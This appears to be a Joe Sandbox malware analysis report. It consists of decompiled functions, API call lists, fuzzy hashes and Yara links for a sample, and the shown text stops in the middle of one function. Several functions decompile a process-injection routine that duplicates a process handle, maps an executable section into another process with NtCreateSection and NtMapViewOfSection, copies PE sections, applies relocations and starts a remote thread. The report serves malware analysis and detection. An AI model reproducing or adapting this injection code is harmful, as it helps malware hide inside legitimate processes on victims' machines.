Source File: 00000000.00000002.301981095.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44d236dd18ed7cc44e9bc7cce8cfcb1189a40f90aed5ca59781d9a2641908dc6
Instruction ID: 79fb33f1a6b92fa151747cb447cf21f99dcade41ae5ed3c016d09dcef1a91514
Opcode Fuzzy Hash: 44d236dd18ed7cc44e9bc7cce8cfcb1189a40f90aed5ca59781d9a2641908dc6
Instruction Fuzzy Hash: 5E0148E1A0824BA6DB061BB0C70A4E5B7649B033E1F70456799437A4DAF23D444B9FC7

Uniqueness

Uniqueness Score: -1.00%

Function 00402367 Relevance: .1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00402367(signed int __eax, void* __ebx, void* __edi, void* __esi, void* __fp0) {
				signed char _t8;
				void* _t13;
				void* _t24;
				signed char _t38;

				_t24 = __edi;
				_t13 = __ebx;
				_t8 = __eax ^ 0x000000eb;
				_t38 = _t8;
				_push(0xd8);
			}

0x00402367
0x00402367
0x00402367
0x00402367
0x00402384

Memory Dump Source

Source File: 00000000.00000002.301981095.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a4084ac02067d2b861d5f45157bb941c608cca232c52e1fc1923edd070f084b
Instruction ID: 2394d781d1a396e978c79df1ce8b3d73b844fb0ff72a99cd8724924ea0ca0197
Opcode Fuzzy Hash: 9a4084ac02067d2b861d5f45157bb941c608cca232c52e1fc1923edd070f084b
Instruction Fuzzy Hash: 2E0148E2A0538FABDB021F70C7064C1BB74AE033E1F744556C442BA49AF225444A8FD2

Uniqueness

Uniqueness Score: -1.00%

Function 00402357 Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00402357(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t23;

				_t23 = __edi;
				_t12 = __ebx;
				_push(0xd8);
			}

0x00402357
0x00402357
0x00402384

Memory Dump Source

Source File: 00000000.00000002.301981095.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fc9ec9e55a2ebc0c52a8172b38619651972a838da35aad44390c72b2224976e
Instruction ID: adb6130998c19d8165bd49603d583b969caaeb14c07d9f703ab5f15f515ca25a
Opcode Fuzzy Hash: 6fc9ec9e55a2ebc0c52a8172b38619651972a838da35aad44390c72b2224976e
Instruction Fuzzy Hash: 6D016BE1A0924FA6DB060BB0C7065E5B7649F033E1F70466799437A4DAF23D444A9FC7

Uniqueness

Uniqueness Score: -1.00%

Function 00402391 Relevance: .0, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E00402391(void* __eax, signed int __ebx, void* __ecx, void* __edi, void* __esi, void* __fp0) {
				signed int _t12;
				void* _t23;
				signed int _t30;
				signed int _t39;

				_t23 = __edi;
				_t12 = __ebx;
				asm("stc");
				_t39 = _t30 & __ebx;
				_push(0xd8);
			}

0x00402391
0x00402391
0x00402391
0x00402392
0x00402384

Memory Dump Source

Source File: 00000000.00000002.301981095.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 830207f2b3c8dbf8f98527a2181f82255fe73f89dc76b3c230820449c5672348
Instruction ID: d193cce59a0fcba641c7bd7617ca443eb9802fc1a664c8245c9b7313a9f05954
Opcode Fuzzy Hash: 830207f2b3c8dbf8f98527a2181f82255fe73f89dc76b3c230820449c5672348
Instruction Fuzzy Hash: A20126E2E0528F669B072FB1C7464D1BBB4DD023E2B741545C142BA45BF211448A8FC1

Uniqueness

Uniqueness Score: -1.00%

Function 00760D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.302147323.0000000000760000.00000040.00001000.00020000.00000000.sdmp, Offset: 00760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_760000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 2cbfc13d5e2caa36bfb7dfafc71383771ed1957b068da1acbf9a43b8f3d0ffc7
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 5801A276B006149FDF21DF64C804BAF33E5FB86316F4945A5DD0B97282E778A9418BD0

Uniqueness

Uniqueness Score: -1.00%

Function 00402945 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.301981095.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d7ffc448e6ea59591e74f27a1b1e4b3431302e9073b5f3b7d0fd0cdec15c6f2
Instruction ID: 26f0ddb5de8152cd0a6eca3c378174ea3a6d77097bba8faf7fbca0b24d697f01
Opcode Fuzzy Hash: 6d7ffc448e6ea59591e74f27a1b1e4b3431302e9073b5f3b7d0fd0cdec15c6f2
Instruction Fuzzy Hash: 29F0599034C54A9ED20111305F4DC72BF659B83310F340173D883261C580BE490B62AB

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: eviivjgPID: 5712, Parent PID: 1080COMMON

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	73
Total number of Limit Nodes:	2

Executed Functions

Function 004014F2 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 220
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 17%

			E004014F2(signed int __eax, void* __ebx, void* __ecx, signed int __edx, void* __fp0) {
				signed int _t13;
				signed int _t22;
				signed int _t24;

				asm("jecxz 0x52");
				if((__edx ^ _t24) != 0) {
					asm("les esp, [esi]");
					asm("daa");
					asm("daa");
					asm("jecxz 0xffffff9f");
					 *(_t24 - 0x336aac21) =  *(_t24 - 0x336aac21) & __eax;
					_push(__eax);
					asm("fnstenv [ebx]");
					asm("fistp word [edi]");
					asm("popfd");
					asm("fcomp st0, st0");
					_t13 = _t22 & 0xcb332727;
					if(_t13 >= 0) {
						asm("fcomp st0, st0");
						_push(0xccbdb09e);
						asm("sbb al, 0xdc");
						asm("repe mov ecx, 0x336d3733");
						asm("aad 0x6a");
					}
					_push(0x1d);
					asm("aas");
					return _t13;
				} else {
					__al = __al + __bl;
					asm("fcomp st0, st0");
					 *__ebx =  *__ebx ^ 0x000000dd;
					__al = __al + __bh;
					__ebp = __ebp ^  *(0x27244c30 + __ebx * 2);
					asm("daa");
					__eax =  *((intOrPtr*)(__ebp - 0xc));
					_pop(__ebx);
					_pop(__ebp);
					return  *((intOrPtr*)(__ebp - 0xc));
				}
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401624

Strings

37m3, xrefs: 004014DC

Memory Dump Source

Source File: 0000000A.00000002.366819076.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_eviivjg.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID: 37m3
API String ID: 1652636561-2373783482
Opcode ID: de69b31deb9f01e35e7c91c6462f01d37875242edd855285f6934d222b1f2154
Instruction ID: a8aa84dfcf73c31766574aff20fc3c5bedaa0235d1c96fa093caba5cd892e43f
Opcode Fuzzy Hash: de69b31deb9f01e35e7c91c6462f01d37875242edd855285f6934d222b1f2154
Instruction Fuzzy Hash: A171C0B5900249BFEB209FA1CC48FEF7BB8EF85700F144569F911AA1E5E7719901CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00401514 Relevance: 10.7, APIs: 7, Instructions: 205
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 56%

			E00401514(void* __eflags, intOrPtr _a4, intOrPtr* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				long _v12;
				void* _v16;
				void* _v20;
				char _v44;
				char _v52;
				long _v56;
				long _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v84;
				char _v88;
				char _v92;
				intOrPtr _v96;
				char _v100;
				char _v288;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t86;
				intOrPtr _t89;
				intOrPtr _t92;
				struct _GUID _t100;
				struct _GUID _t102;
				PVOID* _t104;
				PVOID* _t106;
				char _t108;
				intOrPtr* _t110;
				PVOID* _t123;
				PVOID* _t125;
				void* _t129;
				intOrPtr _t130;
				intOrPtr _t131;
				intOrPtr* _t133;
				long* _t138;
				signed int _t140;
				int _t141;
				signed int _t162;
				signed int _t163;
				signed int _t164;
				void* _t165;
				intOrPtr* _t166;
				void* _t169;
				void* _t176;
				intOrPtr _t179;
				void* _t180;
				void* _t181;
				void* _t186;
				intOrPtr* _t187;
				intOrPtr* _t188;
				HANDLE* _t189;
				HANDLE* _t190;
				void* _t195;
				void* _t196;
				intOrPtr* _t199;
				void* _t200;
				intOrPtr _t204;
				void* _t205;
				intOrPtr* _t207;
				void* _t208;
				void* _t209;
				void* _t210;
				long _t225;
				void* _t231;

				_t86 = 0x1561;
				_push(0x38d);
				_t131 =  *_t207;
				_t208 = _t207 + 4;
				asm("cmc");
				E0040119E(_t86, _t129, _t131, 0xc0, _t176, _t186, __eflags, _t231);
				_t130 = _a4;
				_v56 = 0;
				if(gs != 0) {
					_v56 = _v56 + 1;
				}
				while(1) {
					_t89 =  *((intOrPtr*)(_t130 + 0x48))();
					if(_t89 != 0) {
						break;
					}
					 *((intOrPtr*)(_t130 + 0x1c))(0x3e8);
				}
				_v96 = _t89;
				_t187 =  &_v100;
				 *_t187 = 0;
				 *((intOrPtr*)(_t130 + 0x4c))(_t89, _t187);
				_t92 =  *_t187;
				if(_t92 != 0) {
					_t133 =  &_v52;
					 *_t133 = _t92;
					 *((intOrPtr*)(_t133 + 4)) = 0;
					_t188 =  &_v44;
					 *((intOrPtr*)(_t130 + 0x10))(_t188, 0x18);
					 *_t188 = 0x18;
					_push( &_v52);
					_push(_t188);
					_push(0x40);
					_push( &_v20);
					if( *((intOrPtr*)(_t130 + 0x70))() == 0 && NtDuplicateObject(_v20, 0xffffffff, 0xffffffff,  &_v16, 0, 0, 2) == 0) {
						_v12 = 0;
						_t100 =  &_v84;
						 *((intOrPtr*)(_t100 + 4)) = 0;
						 *_t100 = 0x5000;
						_t189 =  &_v88;
						if(NtCreateSection(_t189, 6, 0, _t100, 4, 0x8000000, 0) == 0) {
							_push(_v84);
							_pop( *_t25);
							_t123 =  &_v72;
							 *_t123 = 0;
							if(NtMapViewOfSection( *_t189, 0xffffffff, _t123, 0, 0, 0,  &_v60, 1, 0, 4) == 0) {
								_t125 =  &_v64;
								 *_t125 = 0;
								if(NtMapViewOfSection( *_t189, _v16, _t125, 0, 0, 0,  &_v60, 1, 0, 4) == 0) {
									_t204 = _v72;
									 *((intOrPtr*)(_t130 + 0x20))(0, _t204, 0x104);
									 *((intOrPtr*)(_t204 + 0x208)) = _a16;
									_v12 = _v12 + 1;
								}
							}
						}
						_t102 =  &_v84;
						 *((intOrPtr*)(_t102 + 4)) = 0;
						 *_t102 = _a12 + 0x10000;
						_t190 =  &_v92;
						if(NtCreateSection(_t190, 0xe, 0, _t102, 0x40, 0x8000000, 0) == 0 && _v12 != 0) {
							_push(_v84);
							_pop( *_t46);
							_t104 =  &_v76;
							 *_t104 = 0;
							if(NtMapViewOfSection( *_t190, 0xffffffff, _t104, 0, 0, 0,  &_v60, 1, 0, 4) == 0) {
								_t106 =  &_v68;
								 *_t106 = 0;
								_t138 =  &_v60;
								_t225 = NtMapViewOfSection( *_t190, _v16, _t106, 0, 0, 0, _t138, 1, 0, 0x20);
								if(_t225 == 0) {
									L25();
									if(_t225 == 0 && _t225 != 0) {
										 *_t138 = _t190;
										_t208 = _t205;
									}
									_t209 = _t208 + 4;
									_push(0x2e41);
									_push(0x2260);
									_t108 = _v288;
									_t210 = _t209 + 4;
									_t162 = (0x2260 << 5) + _t108;
									asm("lodsb");
									_t163 = _t162;
									asm("loop 0xffffffc1");
									_t164 = _t163 ^ 0xa3491271;
									_t208 = _t210 - _t164;
									_t195 = _a8 +  *_a8;
									_t140 =  *(_t195 + 6) & 0x0000ffff;
									_push(_t195);
									_t165 = _t195;
									if(_v56 == 0) {
										_t166 = _t165 + 0xf8;
										__eflags = _t166;
									} else {
										_t166 = _t165 + 0x108;
									}
									_push(_t140);
									_t141 =  *(_t166 + 0x10);
									if(_t141 != 0) {
										memcpy( *((intOrPtr*)(_t166 + 0xc)) + _v76,  *((intOrPtr*)(_t166 + 0x14)) + _a8, _t141);
										_t208 = _t208 + 0xc;
									}
									asm("loop 0xffffffe6");
									_pop(_t196);
									_t229 = _v56;
									if(_v56 == 0) {
										_push(_t196);
										_t169 =  *((intOrPtr*)(_t196 + 0x34)) - _v68;
										_t199 =  *((intOrPtr*)(_t196 + 0xa0)) + _v76;
										__eflags = _t199;
										while(1) {
											__eflags =  *_t199;
											if( *_t199 == 0) {
												break;
											}
											_t179 =  *_t199;
											_t199 = _t199 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *0x00000000 =  *0x00000000 - _t169;
												__eflags =  *((intOrPtr*)(0 + _v76 + _t179));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t200);
										__eflags = 0;
										_t110 =  &_v8;
										 *_t110 = 0;
										 *((intOrPtr*)(_t130 + 0x98))(_v16, 0, 0, 0, 0, 0,  *((intOrPtr*)(_t200 + 0x28)) + _v68, _v64, _t110, 0);
									} else {
										L58();
										_pop(_t180);
										_t181 = _t180 - 0x17da;
										 *((intOrPtr*)(_t181 + 0x180e)) = _t181 + 0x2f6c;
										E00401217(_t130, _t229, _t231, _t181 + 0x2f6c, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t181 + 0x1833)) = _t181 + 0x2fbc;
										0x33();
									}
								}
							}
						}
					}
				}
				_push(0x38d);
				_push(0xc0);
				asm("les eax, [ebx+ebp*8]");
				return __eax;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401624
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401642
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401683
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D6

Memory Dump Source

Source File: 0000000A.00000002.366819076.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_eviivjg.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: ee7df8332a015d020675fe9d5738b42a699687d4ee2a3031125f4e7c00d6bff1
Instruction ID: 208a9abdd1aee22c33f973a86314166aafce39c53584160e1e70edf4842307f5
Opcode Fuzzy Hash: ee7df8332a015d020675fe9d5738b42a699687d4ee2a3031125f4e7c00d6bff1
Instruction Fuzzy Hash: 93616175900204FBEB209F91DC89FAF7BB8EF85700F10412AF912BA1E4D7759901DB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040152C Relevance: 10.7, APIs: 7, Instructions: 174
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E0040152C(signed int __ebx, signed int __ecx, void* __edi, void* __esi) {
				void* _t86;
				intOrPtr _t89;
				intOrPtr _t92;
				struct _GUID _t100;
				struct _GUID _t102;
				PVOID* _t104;
				PVOID* _t106;
				intOrPtr _t108;
				intOrPtr* _t110;
				PVOID* _t123;
				PVOID* _t125;
				intOrPtr _t131;
				intOrPtr _t133;
				intOrPtr* _t135;
				long* _t140;
				signed int _t142;
				int _t143;
				signed int _t164;
				signed int _t165;
				signed int _t166;
				void* _t167;
				intOrPtr* _t168;
				void* _t171;
				intOrPtr _t181;
				void* _t182;
				void* _t183;
				intOrPtr* _t189;
				intOrPtr* _t190;
				HANDLE* _t191;
				HANDLE* _t192;
				void* _t197;
				void* _t198;
				intOrPtr* _t201;
				void* _t202;
				void* _t206;
				void* _t207;
				intOrPtr* _t208;
				void* _t209;
				intOrPtr* _t210;
				void* _t211;
				signed char _t212;
				long _t226;
				void* _t232;

				asm("pushfd");
				_t130 = __ebx | __ecx;
				_t212 = __ebx | __ecx;
				_t86 = 0x1561;
				_push(0x38d);
				_t133 =  *_t208;
				_t209 = _t208 + 4;
				asm("cmc");
				E0040119E(_t86, _t130, _t133, 0xc0, __edi, __esi, _t212, _t232);
				_t131 =  *((intOrPtr*)(_t207 + 8));
				 *((intOrPtr*)(_t207 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t207 - 0x34)) =  *((intOrPtr*)(_t207 - 0x34)) + 1;
				}
				while(1) {
					_t89 =  *((intOrPtr*)(_t131 + 0x48))();
					if(_t89 != 0) {
						break;
					}
					 *((intOrPtr*)(_t131 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t207 - 0x5c)) = _t89;
				_t189 = _t207 - 0x60;
				 *_t189 = 0;
				 *((intOrPtr*)(_t131 + 0x4c))(_t89, _t189);
				_t92 =  *_t189;
				if(_t92 != 0) {
					_t135 = _t207 - 0x30;
					 *_t135 = _t92;
					 *((intOrPtr*)(_t135 + 4)) = 0;
					_t190 = _t207 - 0x28;
					 *((intOrPtr*)(_t131 + 0x10))(_t190, 0x18);
					 *_t190 = 0x18;
					_push(_t207 - 0x30);
					_push(_t190);
					_push(0x40);
					_push(_t207 - 0x10);
					if( *((intOrPtr*)(_t131 + 0x70))() == 0 && NtDuplicateObject( *(_t207 - 0x10), 0xffffffff, 0xffffffff, _t207 - 0xc, 0, 0, 2) == 0) {
						 *((intOrPtr*)(_t207 - 8)) = 0;
						_t100 = _t207 - 0x50;
						 *((intOrPtr*)(_t100 + 4)) = 0;
						 *_t100 = 0x5000;
						_t191 = _t207 - 0x54;
						if(NtCreateSection(_t191, 6, 0, _t100, 4, 0x8000000, 0) == 0) {
							 *_t25 =  *(_t207 - 0x50);
							_t123 = _t207 - 0x44;
							 *_t123 = 0;
							if(NtMapViewOfSection( *_t191, 0xffffffff, _t123, 0, 0, 0, _t207 - 0x38, 1, 0, 4) == 0) {
								_t125 = _t207 - 0x3c;
								 *_t125 = 0;
								if(NtMapViewOfSection( *_t191,  *(_t207 - 0xc), _t125, 0, 0, 0, _t207 - 0x38, 1, 0, 4) == 0) {
									_t206 =  *(_t207 - 0x44);
									 *((intOrPtr*)(_t131 + 0x20))(0, _t206, 0x104);
									 *((intOrPtr*)(_t206 + 0x208)) =  *((intOrPtr*)(_t207 + 0x14));
									 *((intOrPtr*)(_t207 - 8)) =  *((intOrPtr*)(_t207 - 8)) + 1;
								}
							}
						}
						_t102 = _t207 - 0x50;
						 *((intOrPtr*)(_t102 + 4)) = 0;
						 *_t102 =  *((intOrPtr*)(_t207 + 0x10)) + 0x10000;
						_t192 = _t207 - 0x58;
						if(NtCreateSection(_t192, 0xe, 0, _t102, 0x40, 0x8000000, 0) == 0 &&  *((intOrPtr*)(_t207 - 8)) != 0) {
							 *_t46 =  *(_t207 - 0x50);
							_t104 = _t207 - 0x48;
							 *_t104 = 0;
							if(NtMapViewOfSection( *_t192, 0xffffffff, _t104, 0, 0, 0, _t207 - 0x38, 1, 0, 4) == 0) {
								_t106 = _t207 - 0x40;
								 *_t106 = 0;
								_t140 = _t207 - 0x38;
								_t226 = NtMapViewOfSection( *_t192,  *(_t207 - 0xc), _t106, 0, 0, 0, _t140, 1, 0, 0x20);
								if(_t226 == 0) {
									L25();
									if(_t226 == 0 && _t226 != 0) {
										 *_t140 = _t192;
										_t209 = _t207;
										_pop(_t207);
									}
									_t210 = _t209 + 4;
									_push(0x2e41);
									_push(0x2260);
									_t108 =  *_t210;
									_t211 = _t210 + 4;
									_t164 = (0x2260 << 5) + _t108;
									asm("lodsb");
									_t165 = _t164;
									asm("loop 0xffffffc1");
									_t166 = _t165 ^ 0xa3491271;
									_t209 = _t211 - _t166;
									_t197 =  *((intOrPtr*)(_t207 + 0xc)) +  *((intOrPtr*)( *((intOrPtr*)(_t207 + 0xc))));
									_t142 =  *(_t197 + 6) & 0x0000ffff;
									_push(_t197);
									_t167 = _t197;
									if( *((intOrPtr*)(_t207 - 0x34)) == 0) {
										_t168 = _t167 + 0xf8;
										__eflags = _t168;
									} else {
										_t168 = _t167 + 0x108;
									}
									_push(_t142);
									_t143 =  *(_t168 + 0x10);
									if(_t143 != 0) {
										memcpy( *((intOrPtr*)(_t168 + 0xc)) +  *(_t207 - 0x48),  *((intOrPtr*)(_t168 + 0x14)) +  *((intOrPtr*)(_t207 + 0xc)), _t143);
										_t209 = _t209 + 0xc;
									}
									asm("loop 0xffffffe6");
									_pop(_t198);
									_t230 =  *((intOrPtr*)(_t207 - 0x34));
									if( *((intOrPtr*)(_t207 - 0x34)) == 0) {
										_push(_t198);
										_t171 =  *((intOrPtr*)(_t198 + 0x34)) -  *(_t207 - 0x40);
										_t201 =  *((intOrPtr*)(_t198 + 0xa0)) +  *(_t207 - 0x48);
										__eflags = _t201;
										while(1) {
											__eflags =  *_t201;
											if( *_t201 == 0) {
												break;
											}
											_t181 =  *_t201;
											_t201 = _t201 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *0x00000000 =  *0x00000000 - _t171;
												__eflags =  *((intOrPtr*)( *(_t207 - 0x48) + 0 + _t181));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t202);
										__eflags = 0;
										_t110 = _t207 - 4;
										 *_t110 = 0;
										 *((intOrPtr*)(_t131 + 0x98))( *(_t207 - 0xc), 0, 0, 0, 0, 0,  *((intOrPtr*)(_t202 + 0x28)) +  *(_t207 - 0x40),  *(_t207 - 0x3c), _t110, 0);
									} else {
										L58();
										_pop(_t182);
										_t183 = _t182 - 0x17da;
										 *((intOrPtr*)(_t183 + 0x180e)) = _t183 + 0x2f6c;
										E00401217(_t131, _t230, _t232, _t183 + 0x2f6c, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t183 + 0x1833)) = _t183 + 0x2fbc;
										0x33();
									}
								}
							}
						}
					}
				}
				asm("les eax, [ebx+ebp*8]");
				__eax = E0040119E(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags, __fp0);
				__edi = 0xc0;
				__esi = 0x38d;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401624
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401642
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401683
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D6

Memory Dump Source

Source File: 0000000A.00000002.366819076.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_eviivjg.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: b502e8d547dcbb9dd043183c23f053b37dc608a28cee40afe6b19e4886b27209
Instruction ID: 91d7b6eb91bdc9b702aebae0ea57f4798882290432fe6fcee8abfa626251d873
Opcode Fuzzy Hash: b502e8d547dcbb9dd043183c23f053b37dc608a28cee40afe6b19e4886b27209
Instruction Fuzzy Hash: 0F5149B5900245BBEB209F91CC48FEFBFB8EF85B00F144159F911AA2A5D7759901CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401557 Relevance: 10.7, APIs: 7, Instructions: 173
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E00401557(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t86;
				intOrPtr _t89;
				intOrPtr _t92;
				struct _GUID _t100;
				struct _GUID _t102;
				PVOID* _t104;
				PVOID* _t106;
				intOrPtr _t108;
				intOrPtr* _t110;
				PVOID* _t123;
				PVOID* _t125;
				intOrPtr _t130;
				intOrPtr* _t133;
				long* _t138;
				signed int _t140;
				int _t141;
				signed int _t162;
				signed int _t163;
				signed int _t164;
				void* _t165;
				intOrPtr* _t166;
				void* _t169;
				intOrPtr _t179;
				void* _t180;
				void* _t181;
				intOrPtr* _t187;
				intOrPtr* _t188;
				HANDLE* _t189;
				HANDLE* _t190;
				void* _t195;
				void* _t196;
				intOrPtr* _t199;
				void* _t200;
				void* _t204;
				void* _t205;
				void* _t206;
				intOrPtr* _t207;
				void* _t208;
				long _t223;
				void* _t229;

				asm("sahf");
				if (__eflags > 0) goto 0x401545;
				asm("cmc");
				E0040119E(_t86, __ebx, __ecx, 0xc0, __edi, __esi, __eflags, _t229);
				_t130 =  *((intOrPtr*)(_t205 + 8));
				 *((intOrPtr*)(_t205 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t205 - 0x34)) =  *((intOrPtr*)(_t205 - 0x34)) + 1;
				}
				while(1) {
					_t89 =  *((intOrPtr*)(_t130 + 0x48))();
					if(_t89 != 0) {
						break;
					}
					 *((intOrPtr*)(_t130 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t205 - 0x5c)) = _t89;
				_t187 = _t205 - 0x60;
				 *_t187 = 0;
				 *((intOrPtr*)(_t130 + 0x4c))(_t89, _t187);
				_t92 =  *_t187;
				if(_t92 != 0) {
					_t133 = _t205 - 0x30;
					 *_t133 = _t92;
					 *((intOrPtr*)(_t133 + 4)) = 0;
					_t188 = _t205 - 0x28;
					 *((intOrPtr*)(_t130 + 0x10))(_t188, 0x18);
					 *_t188 = 0x18;
					_push(_t205 - 0x30);
					_push(_t188);
					_push(0x40);
					_push(_t205 - 0x10);
					if( *((intOrPtr*)(_t130 + 0x70))() == 0 && NtDuplicateObject( *(_t205 - 0x10), 0xffffffff, 0xffffffff, _t205 - 0xc, 0, 0, 2) == 0) {
						 *((intOrPtr*)(_t205 - 8)) = 0;
						_t100 = _t205 - 0x50;
						 *((intOrPtr*)(_t100 + 4)) = 0;
						 *_t100 = 0x5000;
						_t189 = _t205 - 0x54;
						if(NtCreateSection(_t189, 6, 0, _t100, 4, 0x8000000, 0) == 0) {
							 *_t25 =  *(_t205 - 0x50);
							_t123 = _t205 - 0x44;
							 *_t123 = 0;
							if(NtMapViewOfSection( *_t189, 0xffffffff, _t123, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
								_t125 = _t205 - 0x3c;
								 *_t125 = 0;
								if(NtMapViewOfSection( *_t189,  *(_t205 - 0xc), _t125, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
									_t204 =  *(_t205 - 0x44);
									 *((intOrPtr*)(_t130 + 0x20))(0, _t204, 0x104);
									 *((intOrPtr*)(_t204 + 0x208)) =  *((intOrPtr*)(_t205 + 0x14));
									 *((intOrPtr*)(_t205 - 8)) =  *((intOrPtr*)(_t205 - 8)) + 1;
								}
							}
						}
						_t102 = _t205 - 0x50;
						 *((intOrPtr*)(_t102 + 4)) = 0;
						 *_t102 =  *((intOrPtr*)(_t205 + 0x10)) + 0x10000;
						_t190 = _t205 - 0x58;
						if(NtCreateSection(_t190, 0xe, 0, _t102, 0x40, 0x8000000, 0) == 0 &&  *((intOrPtr*)(_t205 - 8)) != 0) {
							 *_t46 =  *(_t205 - 0x50);
							_t104 = _t205 - 0x48;
							 *_t104 = 0;
							if(NtMapViewOfSection( *_t190, 0xffffffff, _t104, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
								_t106 = _t205 - 0x40;
								 *_t106 = 0;
								_t138 = _t205 - 0x38;
								_t223 = NtMapViewOfSection( *_t190,  *(_t205 - 0xc), _t106, 0, 0, 0, _t138, 1, 0, 0x20);
								if(_t223 == 0) {
									L19();
